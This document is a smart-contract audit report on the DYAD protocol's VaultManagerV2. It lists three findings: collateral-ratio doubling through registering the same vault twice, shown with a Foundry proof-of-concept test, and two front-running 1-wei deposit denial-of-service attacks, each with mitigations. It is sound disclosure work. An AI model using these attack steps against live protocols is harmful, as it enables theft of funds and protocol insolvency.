DYAD - PoeAudits's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L80-L91 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L241-L286

Vulnerability details

Impact

Users can double their collateral ratio by adding a non-kerosine vault address to their kerosine vaults, and vice-versa. This prevents the account from being liquidated until it is significantly underwater making the protocol insolvent.

Proof of Concept

Regular vaults and kerosine vaults are stored in separate enumerable sets, which allows for both sets to contain the same value. Both the add and addKerosene functions allow users to input the address of the vault. When a user adds the same vault to both sets, the getNonKeroseneValue and getKeroseneValue functions will both count the user's deposited assets. This affects the getTotalUsdValue function which affects the collatRatio function. The collatRatio function is of critical importance to the protocol, and with a doubled collateral ratio the user can make the protocol become insolvent.

Should a user's position fall below a collateral ratio of 1e18, and liquidation is prevented by utilizing this vulnerability doubling the user's collateral ratio, the user can still redeem their current dyad holdings for the return of their collateral in full, even though the dyad is not worth as much as their initial collateral.

This test can be added to the file test/fork/v2.t.sol to demonstrate the doubling of the collateral ratio:

// fork mainnet --fork-block-number 19621640
  function testVuln() public {
    address alice = address(500);
    address _asset = address(contracts.ethVault.asset());

    // Need to add vault manager to licencer post deployment
    testLicenseVaultManager();
    
    // Alice mints herself an DNft to interact with the protocol
    hoax(alice, 1e18);
    (,bytes memory data) = MAINNET_DNFT.call{value: 1e18}(abi.encodeWithSignature("mintNft(address)", alice));
    uint256 id = abi.decode(data, (uint256));
    // Give alice some funds to deposit in the vault
    StdCheats.deal(_asset, alice, 1e18);

    vm.startPrank(alice);
    // Alice adds a non-kerosine vault to her NFT
    contracts.vaultManager.add(id, address(contracts.ethVault));
    // Alice approves and deposits funds into the vault
    _asset.call(abi.encodeWithSignature("approve(address,uint256)", address(contracts.vaultManager), 1e18));
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 1e18);
    // Alice mints some Dyad (Collateral ratio is max when dyad is zero)
    contracts.vaultManager.mintDyad(id, 1e18, alice);
    vm.stopPrank();
    // 
    console2.log("Non Kerosine Value: ", contracts.vaultManager.getNonKeroseneValue(id));
    console2.log("Kerosine Value: ", contracts.vaultManager.getKeroseneValue(id));
    console2.log("Total Usd Value Value: ", contracts.vaultManager.getTotalUsdValue(id));
    console2.log("Collateral Ratio: ", contracts.vaultManager.collatRatio(id));
    console2.log("");
    // Non Kerosine Value:  3503260000000000000000
    // Kerosine Value:  0
    // Total Usd Value Value:  3503260000000000000000
    // Collateral Ratio:  3503260000000000000000

    // Add the same vault as a kerosine vault with no deposits
    vm.prank(alice);
    contracts.vaultManager.addKerosene(id, address(contracts.ethVault));

    console2.log("Non Kerosine Value: ", contracts.vaultManager.getNonKeroseneValue(id));
    console2.log("Kerosine Value: ", contracts.vaultManager.getKeroseneValue(id));
    console2.log("Total Usd Value Value: ", contracts.vaultManager.getTotalUsdValue(id));
    console2.log("Collateral Ratio: ", contracts.vaultManager.collatRatio(id));
    // Non Kerosine Value:  3503260000000000000000
    // Kerosine Value:  3503260000000000000000
    // Total Usd Value Value:  7006520000000000000000
    // Collateral Ratio:  7006520000000000000000

    // Collateral Ratio has doubled just by adding the same vault as a kerosine vault
    // This puts effective collateral ratio at 0.75, which means alice's position can
    // Only be liquidated after it falls below this point. 
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Either merge the kerosine and non-kerosine vaults into a single enumerable set, or check when adding a non-kerosine vault that it does not exist in the kerosine set and vice-versa.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L153 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L184-L202

Vulnerability details

Impact

Malicious actors can prevent users from calling the withdraw and redeemDyad functions by frontrunning their transactions with a nominal deposit to their vault.

Proof of Concept

The deposit function in VaultManagerV2 is publicly available, and can be used to prevent users from withdrawing funds from their DNft. This is accomplished by front-running a user's withdraw transaction and depositing 1 wei of collateral into any of the user's vaults. This will trigger the flashloan protection condition in the withdraw function:

if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();

This results in a denial of service attack where users are prevented from withdrawing their funds for as long as the attacker wants.

This attack also extends to the redeemDyad function, as it calls the withdraw function after burning dyad from the user's wallet. This makes it so the user is unable with withdraw their collateral, and unable to redeem their Dyad.

Tools Used

Manual Review

Recommended Mitigation Steps

The deposit function should restrict who can deposit funds into a user's vault considering it is responsible for a couple of similar issues.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L94-L116 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManager.sol#L63-L86

Vulnerability details

Impact

Malicious actors can prevent users from calling the remove and removeKerosene functions by frontrunning their transactions with a nominal deposit to their vault.

Proof of Concept

The deposit function in VaultManagerV2 is publicly available, and can be used to prevent users from removing vaults from their DNft. This is accomplished by front-running a user's transaction to either remove or removeKerosine and depositing 1 wei of collateral into the empty vault. This can be better executed by backrunning any call to withdraw with a deposit of 1 wei to make sure the balance in the vault is greater than zero, but either works fine. By doing this, any call to the remove or removeKerosine functions will revert due to the condition:

if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();

This is a denial of service attack, which is significant in the case where a user's number of vaults are maxed out. Should a user have a maxed out number of non-kerosine or kerosine vaults, this attack would prevent the user from adding new vaults to their DNft for as long as the attack occurs.

Tools Used

Manual Review

Recommended Mitigation Steps

The deposit function should restrict who can deposit funds into a user's vault considering it is responsible for a couple of similar issues. An approval based system could be used to allow specific non-DNft holders to deposit into the user's vaults.

Assessed type

DoS